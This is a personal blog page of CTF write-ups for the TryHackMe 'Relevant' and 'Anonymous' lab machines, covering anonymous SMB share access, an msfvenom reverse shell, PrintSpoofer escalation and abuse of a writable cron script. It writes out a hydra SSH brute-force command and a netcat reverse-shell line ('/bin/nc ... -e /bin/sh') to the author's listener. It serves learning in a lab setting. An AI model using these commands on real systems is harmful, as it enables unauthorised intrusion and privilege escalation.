Published: Oct 22, 2022 by Wesley Kent

TryHackMe - Relevant

My go-to scan was taking too long, so I first ran an initial nmap scan only looking for open ports, then the more targeted port scan you see below:

Seeing the web server over port 80 I went there first in the browser. The site was very bland, and there was nothing useful from the site’s source code. The alternate port for that page over 49663 also offered nothing. I tried enumerating possible pages / directories for them with gobuster and got nothing but 400 - RunTime errors:

The page itself links to one of Microsoft Windows Server sites, which tracks with the Operating System guess from the nmap scan, that’s the only good thing to come from this.

Well, seeing as how some SMB services are mentioned on a few of the ports I tried to list available shares on the host with the following command:

No login credentials were needed to get the initial share names, however after trying to interact with several of them I was only able to gain access to nt4wrksv without any authentication. Lo and behold, their very secure way of storing passwords:

Surprisingly, I ended up not needing these passwords to pwn this machine, but I did not know that at the time so I went ahead and cracked the hashes. That first hash looked very similar to other passwords I’ve seen encoded in base64, and sure enough I was able to decode it with the following:

Base64 applied to both hashes in that password file, but again it wasn’t needed in the first place. Now that I had some working credentials, I looked for places to use them. These got me access to another one of the shares, but that had nothing to offer there. I tried logging into the RDP service, but those credentials were rejected.

So, this brought me back to the original SMB share. I’ve already gotten files from it, but I might also be able to upload a reverse shell and gain a foothold that way. Now, since this is only an SMB share we likely will not be able to execute it directly from there, but since this is hosting a web server and we were able to previously logon to the nt4wrksv share anonymously, my thought was to try and call the script from wherever the file resides over the web interface.

Now the files did not appear under port 80, but if you navigate to the ephemeral port that was hosting the alternate http page you should find it there under /share_name/file_name. Knowing this, and that this is a Windows machine, let’s craft that payload with msfvenom:

Since I am using meterpreter to handle this shell, let’s set that up with msfconsole and the multi/handler exploit:

Let’s upload that payload to the SMB share:

After this I tried curling the URL, navigating to it, etc but I could not activate it that way. I was hoping that the exe format would work since I know this is running some kind of Windows OS, sadly it did not work. After some research into what other formats are best for this scenario I tried using the aspx format. I went through the same process as above but for the different file format and then put that onto the same smb share:

Since this handler with aspx is not going through meterpreter I setup a nc listener instead of going the msfconsole route, and after using wget at that file’s location on the web server the shell lights up:

Unfortunately, not too many CTFs are Windows machines (that I’ve done at least) and when it was, it was often a known exploit that was easy to identify. So, I started looking for similar scripts to the LinEnum I have mentioned in previous posts. One search result was a Reddit post with the same question and there were many suggestions including Sherlock, Powerview, Powerup, Jaws, Windows-Privesc-Check and quite literally WindowsEnum. So I downloaded the WindowsEnum file locally and started a web server to punch it over to the target machine. Curl did not work, wget was also not installed, I even ended up trying a direct powershell command after some research with Invoke-WebRequest etc but I lacked the permissions for that. Now, I only realized this later but I was way overcomplicating things - I had access to the machine and I had previously uploaded files via the SMB shares, so why not just use that?

Because my brain must have short-circuited during this time I ended up going down a different avenue to pwn this machine, but at the end I will still show the results of that script after I realized I wasn’t thinking clearly.

Back to the machine - the user flag was something I realized I probably had access to with my current permissions, so I navigated over to the Users folder, found the user “Bob” and could read the user.txt flag on his Desktop:

That’s great and all, but we still don’t have access to the root flag no doubt located in the Administrator folder. Similar to commands we can run on linux I ran a whoami /priv on the Windows machine with the following results:

After a good amount of research (well, the second page of results…) I found this with an executable called PrintSpoofer.exe that supposedly uses those permissions for privilege escalation. As I mentioned before, this was when I realized I can still upload files to the target machine over the smb share, which is what I did next and after running it I got the following:

And a quick whoami confirms we are now nt authority on the system. To get the root flag now just navigate to the Administrator’s Desktop:

And this CTF is mercifully complete.

As promised here are the results of that WindowsEnum script I was talking about earlier:

A quick where search will locate where the smb share is stored on the system and then you can run the powershell script as is. This route would have worked as well since part of their enumeration is running the whoami /priv command and so you would have been able to locate that vulnerability either way. I forgot to screenshot that portion of the results, but it appears the same as when I manually entered the command.

That was more or less all for this CTF. I have no doubt there were other ways to compromise it since I found two sets of valid credentials but ended up not using them anywhere. Maybe the RDP service was vulnerable or I just entered in information incorrectly, I’m not sure. One thought I had while writing this is I’m sure you could set up a way to generate a security log for anyone trying to login as that user. Basically setup that file as a “honey file” (I am grossly misusing the “honeypot/honeynet” terms here, I know - just follow along) and if anyone finds it and tries to use it you would know that some is acting with at least some malicious intent. Once you receive that alert you could begin investigating where that person tried to log in from, check your network for other strange activities, check for users acting outside their baseline, etc. Food for thought.

Regardless, this was a good break from the traditional linux environment I am used to and a lot was learned. Hopefully the next Windows CTF I do I can explore those other scripts used to enumerate Windows machines.

Cheers,

Wes

Share

Latest Posts

TryHackMe - Relevant

My go-to scan was taking too long, so I first ran an initial nmap scan only looking for open ports, then the more targeted port scan you see below:

Since I am using meterpreter to handle this shell, let’s set that up with msfconsole and the multi/handler exploit:

Let’s upload that payload to the SMB share:

And a quick whoami confirms we are now nt authority on the system. To get the root flag now just navigate to the Administrator’s Desktop:

And this CTF is mercifully complete.

TryHackMe - Anonymous

This CTF is relatively straight forward, needing only SMB shares and an FTP server for the exploit. Let’s begin with an nmap scan:

My initial thoughts when seeing Samba running over ports 139 and 445 was to further enumerate those services, which I did with enum4linux -a 10.10.246.10. Some of the questions for this CTF can be answered from the results:

We can get access to the pics share and get the files within using the following commands:

I was expecting some kind of steganography to be used here but that doesn’t seem to be the case, at least from what I saw. It’s quite literally two images of dogs as the names indicate. I tried looking for hidden information within those files with several tools, I tried looking for strings, and lastly used file to try and get info, which revealed the following:

What this does give a couple of names that I can try and set up a ssh brute force for, namely “Denise Flaim” and “Susan Sprung”. I wasn’t sure if they were even users on this machine, but it doesn’t hurt to start a brute force attack in the background. I created a rudimentary list of possible usernames which ended up as the following:

dflaim
ssprung
deniseflaim
susansprung
denise
flaim
susan
sprung

If none of these work I can always add capitalized letters, etc. I then setup that brute force with hydra, which looked like this:

While that was running I checked out the FTP server, which from the initial nmap scan I know allows anonymous login:

There are 3 files to get from there, only two of which are useful. The bash file is what is outputting data to the log file, and we can try and manipulate it for more info. Now instead of trying to guess possible usernames to run the password list against I uploaded the following with a simple put command to the ftp server, overwriting the clean.sh bash file:

From the number of generated logs it’s clear this task runs frequently, likely every minute. After a couple of minutes I downloaded the log file once more and got the contents of the /home/ directory, aka what usernames I will need to target:

Okay, so I can now stop my useless hydra attack and modify it to something that will actually hopefully work with hydra -l namelessone -P /usr/share/wordlists/rockyou.txt 10.10.127.241 ssh.

While that was running I decided to keep after the script we can modify on the ftp server. I tried to read the /etc/shadow file to setup a John attack locally, however that didn’t ouput anything to the log file (I’m guessing I lacked the permissions needed). After that I tried looking into the namelessone’s home folder with the following command:

This revealed a file called user.txt - our first flag. After editing that bash file with the following command cat /home/namelessone/user.txt >> /var/ftp/scripts/removed_files.log, it will eventually output the user flag:

Now at this point the bruteforce had been running for some time with nothing useful. This made me think that the foothold is going to have to be through the ftp server as well, so I added a quick which nc and which ncat to see if netcat was installed on the system and once confirming it was installed at /bin/nc I added /bin/nc 10.2.2.129 4444 -e /bin/sh to try and start a reverse shell. Despite being installed, this didn’t work and I don’t know why. I tried adding a sudo at the front as well as confirming that bash was installed where it should be on the system, but nothing came from that. My firewall wasn’t blocking anything that command would’ve needed and the port also wasn’t otherwise in use.

As a quick side note, I checked the crontab next with a crontab -l in the bash script and confirmed that it was running what I expected:

Well, with netcat not working I tried the /dev/tcp route which I got from PenTestMonkey. For whatever reason (the issue still wasn’t the port), our nc listener now lights up with that reverse shell:

I tried a sudo -l which did not help, and after checking for SUID permissions it returned a massive list that would have taken a long time to sift through manually. I found this page, which has a script that will automatically search for anything in that list that might be vulnerable. This is similar to the LinEnum script I have mentioned in previous posts.

Following their steps I downloaded their .py file (I had also previously confirmed python was installed on this system), and after starting a web server on our local machine we can download the script onto the target machine:

I did try curling the raw file from GitHub to the target machine without success. The above method with hosting the web server locally and then getting the script to the target machine worked without issue. Running that script with a quick python suid3num.py will show the following at the bottom of the results:

Given the scripts’ recommendation I went ahead and tried that command and confirmed I did now have root permissions. Most root flags are found in the same place for these CTFs, so I guessed it’s location next and was able to read the contents of the root flag:

That’s all folks. Cheers,

Wes

TryHackMe - Brooklyn Nine Nine